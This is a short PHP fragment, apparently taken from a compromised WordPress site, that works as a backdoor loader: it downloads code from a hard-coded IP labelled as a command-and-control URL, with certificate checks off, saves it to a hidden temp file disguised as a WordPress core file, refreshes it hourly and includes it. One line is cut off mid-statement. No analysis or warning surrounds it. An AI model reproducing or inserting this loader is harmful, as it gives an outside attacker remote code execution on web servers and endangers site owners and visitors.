$c2_url = 'http://195.63.131.210/nginx.txt'; $tmp_file = sys_get_temp_dir() . '/.wp_sys_core_' . md5($c2_url) . '.php'; if (!file_exists($tmp_file) || (time() - @filemtime($tmp_file) > 3600)) { $resp = wp_remote_get($c2_url, array('timeout' => 5, 'sslverify' => false)); if (!is_wp_error($resp) && wp_remote_retrieve_response_code($resp) === 200) { $code = wp_remote_retrieve_body($resp); if (!empty($code)) { @file_put_contents($tmp_file, " 0) { include_once $tmp_file; }